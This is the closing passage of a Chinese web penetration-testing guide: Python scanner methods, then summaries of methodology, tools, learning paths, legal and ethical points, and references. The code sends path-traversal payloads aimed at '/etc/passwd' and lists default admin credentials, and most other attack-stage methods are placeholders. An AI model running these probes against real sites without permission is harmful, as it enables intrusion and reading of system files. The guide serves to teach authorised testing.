async def test_file_upload(self) -> List[Dict[str, Any]]:
"""文件上传测试"""
findings = []
try:
# 这里需要根据实际应用的文件上传功能进行测试
# 由于需要具体的上传端点,这里只是示例
findings.append({
'type': 'File Upload',
'severity': VulnerabilitySeverity.INFO.value,
'description': 'File upload functionality test',
'details': {'note': 'Requires specific upload endpoint for testing'}
})
except Exception as e:
print(f"文件上传测试失败: {e}")
return findings
async def test_directory_traversal(self) -> List[Dict[str, Any]]:
"""目录遍历测试"""
findings = []
try:
traversal_payloads = [
"../../../etc/passwd",
"..\\..\\..\\windows\\system32\\drivers\\etc\\hosts"
]
for payload in traversal_payloads:
test_url = f"{self.target_url}?file={payload}"
try:
async with self.session.get(test_url) as response:
text = await response.text()
if 'root:' in text or 'localhost' in text:
findings.append({
'type': 'Directory Traversal',
'severity': VulnerabilitySeverity.HIGH.value,
'description': f'Directory traversal vulnerability detected',
'details': {
'url': test_url,
'payload': payload,
'evidence': 'System file content exposed'
}
})
except:
pass
except Exception as e:
print(f"目录遍历测试失败: {e}")
return findings
async def test_authentication_bypass(self) -> List[Dict[str, Any]]:
"""认证绕过测试"""
findings = []
try:
# 测试默认凭据
default_credentials = [
("admin", "admin"),
("admin", "password"),
("root", "root")
]
for username, password in default_credentials:
# 这里需要根据实际的登录端点进行测试
findings.append({
'type': 'Authentication Bypass',
'severity': VulnerabilitySeverity.INFO.value,
'description': 'Authentication bypass test',
'details': {
'note': 'Requires specific login endpoint for testing',
'tested_credentials': f"{username}:{password}"
}
})
except Exception as e:
print(f"认证绕过测试失败: {e}")
return findings
# 利用阶段测试
async def test_privilege_escalation(self) -> List[Dict[str, Any]]:
"""权限提升测试"""
findings = []
try:
# 这里需要根据发现的漏洞进行实际的权限提升测试
findings.append({
'type': 'Privilege Escalation',
'severity': VulnerabilitySeverity.INFO.value,
'description': 'Privilege escalation test',
'details': {'note': 'Requires successful exploitation of previous vulnerabilities'}
})
except Exception as e:
print(f"权限提升测试失败: {e}")
return findings
async def test_data_extraction(self) -> List[Dict[str, Any]]:
"""数据提取测试"""
findings = []
try:
# 这里需要根据实际的数据库访问进行测试
findings.append({
'type': 'Data Extraction',
'severity': VulnerabilitySeverity.INFO.value,
'description': 'Data extraction test',
'details': {'note': 'Requires successful database access'}
})
except Exception as e:
print(f"数据提取测试失败: {e}")
return findings
async def test_system_access(self) -> List[Dict[str, Any]]:
"""系统访问测试"""
findings = []
try:
# 这里需要根据实际的系统访问进行测试
findings.append({
'type': 'System Access',
'severity': VulnerabilitySeverity.INFO.value,
'description': 'System access test',
'details': {'note': 'Requires successful system compromise'}
})
except Exception as e:
print(f"系统访问测试失败: {e}")
return findings
# 后利用阶段测试
async def test_persistence(self) -> List[Dict[str, Any]]:
"""持久化测试"""
findings = []
try:
findings.append({
'type': 'Persistence',
'severity': VulnerabilitySeverity.INFO.value,
'description': 'Persistence test',
'details': {'note': 'Requires successful system access'}
})
except Exception as e:
print(f"持久化测试失败: {e}")
return findings
async def test_lateral_movement(self) -> List[Dict[str, Any]]:
"""横向移动测试"""
findings = []
try:
findings.append({
'type': 'Lateral Movement',
'severity': VulnerabilitySeverity.INFO.value,
'description': 'Lateral movement test',
'details': {'note': 'Requires successful initial access'}
})
except Exception as e:
print(f"横向移动测试失败: {e}")
return findings
async def test_data_exfiltration(self) -> List[Dict[str, Any]]:
"""数据外泄测试"""
findings = []
try:
findings.append({
'type': 'Data Exfiltration',
'severity': VulnerabilitySeverity.INFO.value,
'description': 'Data exfiltration test',
'details': {'note': 'Requires successful data access'}
})
except Exception as e:
print(f"数据外泄测试失败: {e}")
return findings
async def generate_final_report(self):
"""生成最终报告"""
print("\n=== 生成最终报告 ===")
# 统计信息
total_tests = len(self.results)
successful_tests = len([r for r in self.results if r.status == "success"])
failed_tests = len([r for r in self.results if r.status == "failed"])
error_tests = len([r for r in self.results if r.status == "error"])
# 收集所有发现
all_findings = []
for result in self.results:
all_findings.extend(result.findings)
# 按严重程度分类
severity_counts = {}
for finding in all_findings:
severity = finding.get('severity', 'unknown')
severity_counts[severity] = severity_counts.get(severity, 0) + 1
# 生成报告
report = {
'target': self.target_url,
'test_period': {
'start_time': self.start_time.isoformat(),
'end_time': self.end_time.isoformat() if self.end_time else None,
'duration': str(self.end_time - self.start_time) if self.end_time else None
},
'test_summary': {
'total_tests': total_tests,
'successful_tests': successful_tests,
'failed_tests': failed_tests,
'error_tests': error_tests
},
'findings_summary': {
'total_findings': len(all_findings),
'severity_breakdown': severity_counts
},
'detailed_results': [asdict(result) for result in self.results],
'all_findings': all_findings
}
# 保存报告
report_filename = f"penetration_test_report_{int(time.time())}.json"
with open(report_filename, 'w', encoding='utf-8') as f:
json.dump(report, f, indent=2, ensure_ascii=False, default=str)
print(f"报告已保存到: {report_filename}")
print(f"总测试数: {total_tests}")
print(f"成功: {successful_tests}, 失败: {failed_tests}, 错误: {error_tests}")
print(f"总发现数: {len(all_findings)}")
print(f"严重程度分布: {severity_counts}")
return report
# 使用示例
async def main():
config = {
'max_concurrent_requests': 50,
'timeout': 30,
'user_agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
}
framework = PenetrationTestFramework("https://example.com", config)
await framework.run_full_test()
# 运行测试
# asyncio.run(main())
总结
7.1 渗透测试最佳实践总结
通过本指南的全面介绍,我们深入了解了Web渗透测试的各个方面。以下是关键要点总结:
7.1.1 渗透测试方法论
- 系统性方法:遵循标准化的测试流程,从信息收集到报告生成
- 分层测试:从网络层到应用层,全面覆盖安全风险点
- 持续改进:根据测试结果不断优化安全防护措施
7.1.2 关键安全原则
- 最小权限原则:用户和系统只应获得完成任务所需的最小权限
- 深度防御:实施多层安全控制,不依赖单一防护措施
- 安全开发生命周期:将安全考虑集成到软件开发的每个阶段
- 持续监控:建立实时安全监控和事件响应机制
7.1.3 常见漏洞防护要点
| 漏洞类型 | 主要防护措施 | 关键要点 |
|---|---|---|
| SQL注入 | 参数化查询、输入验证 | 永远不要信任用户输入 |
| XSS | 输出编码、CSP策略 | 对所有输出进行适当编码 |
| CSRF | CSRF Token、SameSite Cookie | 验证请求来源的合法性 |
| 文件上传 | 文件类型检查、存储隔离 | 严格限制上传文件类型和存储位置 |
| 认证绕过 | 强密码策略、多因素认证 | 实施强身份验证机制 |
| 权限提升 | 最小权限、定期审计 | 严格控制用户权限分配 |
7.2 渗透测试工具推荐
7.2.1 商业工具
-
Burp Suite Professional
- 功能最全面的Web应用安全测试平台
- 强大的扫描引擎和扩展支持
- 适合专业安全团队使用 -
OWASP ZAP
- 开源Web应用安全扫描器
- 功能丰富,社区活跃
- 适合学习和中小型项目 -
Nessus
- 企业级漏洞扫描器
- 全面的漏洞数据库
- 适合大规模网络扫描
7.2.2 开源工具
-
Nmap
- 网络发现和安全审计工具
- 强大的端口扫描功能
- 脚本化扩展支持 -
Metasploit
- 渗透测试框架
- 丰富的漏洞利用模块
- 适合漏洞验证和利用 -
SQLMap
- 自动化SQL注入工具
- 支持多种数据库类型
- 强大的绕过技术
7.3 学习路径建议
7.3.1 基础阶段(1-3个月)
-
网络安全基础
- 学习TCP/IP协议栈
- 了解HTTP/HTTPS协议
- 掌握基本的网络概念 -
编程基础
- 学习Python编程
- 了解Web开发技术
- 掌握基本的脚本编写 -
安全概念
- 学习OWASP Top 10
- 了解常见攻击类型
- 掌握基本防护措施
7.3.2 进阶阶段(3-6个月)
-
实践操作
- 搭建测试环境
- 使用各种安全工具
- 进行实际渗透测试 -
深入学习
- 研究漏洞原理
- 学习绕过技术
- 掌握高级攻击技术 -
工具开发
- 编写自动化脚本
- 开发自定义工具
- 参与开源项目
7.3.3 专业阶段(6个月以上)
-
专业认证
- 考取相关安全认证
- 参与CTF竞赛
- 发表安全研究文章 -
团队协作
- 参与安全项目
- 指导初级人员
- 建立安全团队 -
持续学习
- 关注安全动态
- 学习新技术
- 参与安全社区
7.4 职业发展建议
7.4.1 职业路径
- 安全分析师 → 高级安全分析师 → 安全架构师
- 渗透测试工程师 → 高级渗透测试工程师 → 安全顾问
- 安全研究员 → 高级安全研究员 → 安全专家
7.4.2 技能要求
-
技术技能
- 扎实的编程基础
- 深入的网络知识
- 丰富的安全经验 -
软技能
- 良好的沟通能力
- 团队协作精神
- 持续学习能力 -
专业素养
- 遵守职业道德
- 保护客户隐私
- 负责任的安全实践
7.5 法律和道德考虑
7.5.1 法律要求
- 授权测试:只对授权的系统进行测试
- 合规要求:遵守相关法律法规
- 数据保护:保护测试过程中接触的敏感数据
7.5.2 道德准则
- 负责任披露:发现漏洞后负责任地披露
- 最小影响:测试过程中尽量减少对系统的影响
- 保密原则:严格保护客户和测试信息
参考资料
8.1 官方文档和标准
-
OWASP
- OWASP Testing Guide: https://owasp.org/www-project-web-security-testing-guide/
- OWASP Top 10: https://owasp.org/www-project-top-ten/
- OWASP ZAP: https://owasp.org/www-project-zap/ -
NIST
- NIST Cybersecurity Framework: https://www.nist.gov/cyberframework
- NIST SP 800-115: Technical Guide to Information Security Testing -
ISO/IEC
- ISO/IEC 27001: Information Security Management Systems
- ISO/IEC 27002: Code of Practice for Information Security Controls
8.2 技术书籍推荐
- 《Web应用安全权威指南》 - 德米特里·埃夫斯塔菲夫
- 《黑客攻防技术宝典:Web实战篇》 - Dafydd Stuttard, Marcus Pinto
- 《Metasploit渗透测试魔鬼训练营》 - 诸葛建伟
- 《Python黑帽子:黑客与渗透测试编程之道》 - Justin Seitz
- 《Web安全深度剖析》 - 张炳帅
8.3 在线资源
-
学习平台
- Cybrary: https://www.cybrary.it/
- SANS: https://www.sans.org/
- Offensive Security: https://www.offensive-security.com/ -
实践环境
- DVWA: http://www.dvwa.co.uk/
- WebGoat: https://owasp.org/www-project-webgoat/
- VulnHub: https://www.vulnhub.com/ -
安全社区
- SecurityFocus: http://www.securityfocus.com/
- Exploit Database: https://www.exploit-db.com/
- CVE Details: https://www.cvedetails.com/
8.4 工具和框架
-
扫描工具
- Nmap: https://nmap.org/
- Nikto: https://cirt.net/Nikto2
- OpenVAS: https://www.openvas.org/ -
渗透测试框架
- Metasploit: https://www.metasploit.com/
- Cobalt Strike: https://www.cobaltstrike.com/
- Empire: https://github.com/EmpireProject/Empire -
Web应用测试
- Burp Suite: https://portswigger.net/burp
- OWASP ZAP: https://owasp.org/www-project-zap/
- SQLMap: http://sqlmap.org/
8.5 认证考试
-
国际认证
- CEH (Certified Ethical Hacker)
- OSCP (Offensive Security Certified Professional)
- CISSP (Certified Information Systems Security Professional) -
国内认证
- CISP (注册信息安全专业人员)
- CISAW (信息安全保障人员认证)
- 网络安全等级保护测评师
结语
Web渗透测试是一个不断发展的领域,新的攻击技术和防护措施层出不穷。作为安全专业人员,我们需要:
- 保持学习:持续关注安全动态,学习新技术
- 实践为主:通过实际项目积累经验
- 团队协作:与同行交流,共同提高
- 负责任:遵守职业道德,保护网络安全
希望本指南能够帮助读者建立系统的Web渗透测试知识体系,在实际工作中发挥重要作用。记住,渗透测试的最终目标是提高系统的安全性,保护用户和企业的利益。
安全是一个持续的过程,而不是一次性的活动。
本指南涵盖了Web渗透测试的主要方面,但安全领域发展迅速,建议读者持续关注最新的安全动态和技术发展。
3150

被折叠的 条评论
为什么被折叠?



